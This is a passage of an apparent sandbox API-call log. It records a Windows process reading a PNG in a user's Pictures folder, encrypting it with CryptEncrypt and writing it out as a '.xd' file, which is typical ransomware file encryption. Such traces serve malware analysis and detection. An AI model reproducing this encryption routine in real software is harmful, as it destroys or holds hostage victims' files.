returned 0 [0061.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.917] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\3ifokmg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.917] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.917] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.918] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7")) returned 0x10 [0061.918] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\3ifokmg.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.920] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.920] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xa37d, lpOverlapped=0x0) returned 1 [0061.921] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.924] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.924] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.924] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.924] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.924] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.924] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.924] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.924] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.924] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.924] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.924] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.925] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.925] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.925] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.925] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.925] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x1629420, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629420*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.925] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.925] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.925] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.926] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.926] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.926] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.927] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.927] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.927] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.928] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.928] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.928] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.928] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.929] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa37d, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa380) returned 1 [0061.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.929] CharLowerBuffW (in: lpsz="byte[41857]", cchLength=0xb | out: lpsz="byte[41857]") returned 0xb [0061.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.930] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.931] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.931] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1891720*, pdwDataLen=0x130e618*=0xa37d, dwBufLen=0xa380 | out: pbData=0x1891720*, pdwDataLen=0x130e618*=0xa380) returned 1 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.931] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.931] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.931] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.931] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.931] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.932] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.932] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.935] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0xa380, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0xa380, lpOverlapped=0x0) returned 1 [0061.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.936] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.936] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.936] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.936] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.937] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.937] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0061.937] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.937] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.937] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.937] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.937] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.937] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.938] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.938] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.938] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.938] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.938] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.938] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.938] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.938] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.938] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.938] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.938] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.938] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.939] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.939] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0061.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.939] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.939] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.939] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.939] CloseHandle (hObject=0x3bc) returned 1 [0061.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.939] CloseHandle (hObject=0x2ac) returned 1 [0061.942] PeekMessageW (in: lpMsg=0x130f164, 